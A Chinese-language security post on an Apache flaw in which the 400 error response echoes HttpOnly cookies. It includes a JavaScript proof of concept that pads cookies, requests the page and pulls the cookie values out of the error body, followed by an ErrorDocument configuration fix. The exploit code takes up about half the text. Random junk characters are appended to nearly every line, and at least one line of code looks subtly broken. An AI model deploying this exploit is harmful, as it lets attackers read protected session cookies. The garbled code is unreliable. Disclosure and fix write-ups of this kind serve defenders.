很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 p. D; U* S6 y7 H i( q8 U
' u H7 @: [# z* e用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
: ]$ d3 L# {8 i ' g) P" n. g" D V1 a- E' h
, k4 Z |& g/ C- E3 r* V
// http://www.exploit-db.com/exploits/18442/& A" O" a* [7 C% _ r8 B' E
function setCookies (good) {0 U% w1 B" p& E8 q, P- q8 k
// Construct string for cookie value
& u6 R7 M, z' c1 svar str = "";
! X+ G6 V, u& j, ?8 S1 Xfor (var i=0; i< 819; i++) {8 l; l4 @4 l# F& p. `3 o
str += "x"; V! L t: H. q) ^
}9 W" R. H% T* m# r" S% z1 F
// Set cookies
i8 a- X2 c4 e4 d% ?* l6 ~0 afor (i = 0; i < 10; i++) {4 C: K' f8 D) m" h1 [( }
// Expire evil cookie
1 r: ^0 M8 o6 @+ y7 W, G8 E" u) rif (good) {( l/ P: {! |% Y1 q# t) }
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";& c% q# K) v8 h& r( n
}
% `' f+ ~' i7 ^: L1 a( `0 k- d J: @// Set evil cookie# o0 ?, M% L* J
else {' I. P' ^5 |# b
var cookie = "xss"+i+"="+str+";path=/";7 \8 e( d$ I9 h
}2 I! }6 d- T, C! R
document.cookie = cookie;9 M& z7 P" E1 T7 N5 t
}
4 ?1 G( J8 |2 ` r}
2 W z/ [$ P4 Tfunction makeRequest() {
- A6 `' ^$ _4 L1 X! ~9 e: ?setCookies();1 Y3 _9 t8 j/ I8 C3 |- J
function parseCookies () {: |. t! j, w8 \# _/ u4 `
var cookie_dict = {};- s0 z' Y2 t: y8 N& H/ D
// Only react on 400 status9 \; ]( o; L$ @+ X' g) ^. q
if (xhr.readyState === 4 && xhr.status === 400) {" |" b4 w0 z4 u# g
// Replace newlines and match <pre> content
7 C8 ?+ J* @8 N% X1 u8 a8 @var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
7 s; F: D# u# \; z* D' p- Wif (content.length) {
2 u; F! @4 C/ k2 d// Remove Cookie: prefix& E$ k$ j/ F" @" b
content = content[1].replace("Cookie: ", "");+ Z7 G9 }) |+ [' Q) U
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);: |4 v- a" H2 v }
// Add cookies to object3 _2 m) }* W, w) A7 a8 ?
for (var i=0; i<cookies.length; i++) {
' U9 L! u8 F( h4 a! o" E' Bvar s_c = cookies.split('=',2);7 \ n6 E2 w% D, l, L
cookie_dict[s_c[0]] = s_c[1];
8 E+ U4 |' G' [9 f}
" x+ v3 |/ R4 A% R( I7 t4 Q}& K! q, o3 r; j, I
// Unset malicious cookies
' A' v, x: O& F y0 V: i2 ?' ^; i3 b" esetCookies(true);2 @2 q8 e' r: s/ X$ S4 i0 p# K
alert(JSON.stringify(cookie_dict));8 e5 {2 H, O# K9 ^* R$ g
}! ]) `$ q% m D: c1 t) ?
}
7 u8 @* B" o/ `// Make XHR request/ H+ s* k# ~2 B9 n
var xhr = new XMLHttpRequest();
7 l$ j! m4 o; X$ R# @xhr.onreadystatechange = parseCookies;
p( N" T# M5 L+ wxhr.open("GET", "/", true);5 {3 E! Z9 k; {5 y* b/ x
xhr.send(null);) m" M+ q ?' p! h, R) p
}
% \* Z: i: z: }% ?makeRequest();
3 ?3 l0 r! ?) l+ @! X& k- g& M/ f2 E) o, z! M9 U0 O7 l
你就能看见华丽丽的400错误包含着cookie信息。$ c( N8 \& t- x9 ~1 j" v( P
% c- |3 n7 j; |+ B
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
8 a# J: ~; t2 v7 l6 E* c; }9 y( \7 X6 `3 A
修复方案:
8 v; _# |: o4 t Z6 e L9 A: `2 }* i! i, M7 I" R
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下0 Q1 Q1 p: j& h9 ~
4 H) |- a0 i T. w3 YIn the event of a problem or error, Apachecan be configured to do one of four things,
; w0 M t: d1 z' f/ c
" \4 Y- M1 |6 P! O$ N) h1 x9 e1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
: a' |5 U1 G2 k, V) M" R7 T2. output acustomized message输出一段信息
" |. K) ?9 F; c) x+ R3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 3 D* F* k) l& x; |. e7 n8 j
4. redirect to an external URL to handle theproblem/error转向一个外部URL7 {; h) c/ S% C; ^/ E& C; x
4 d4 R& Q) {1 g' R1 Y经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
& T9 R( N8 I) _8 k- s
% d2 W2 L: W" P& @) ^1 C2 TApache配置:
1 s' {' g/ F* U5 E, Q" a
# n4 p* u8 n; H" ~# J- w8 ^, UErrorDocument400 " security test"1 u' E6 R* _ @
- i0 P- L e x* _
当然,升级apache到最新也可:)。
2 _: s! x+ z+ H$ P% ^5 ^
: v0 j% ?+ r/ s" a参考:http://httpd.apache.org/security/vulnerabilities_22.html
! v+ v6 T' y `4 {0 B5 T0 S# D! |! x3 r8 }3 l# a
|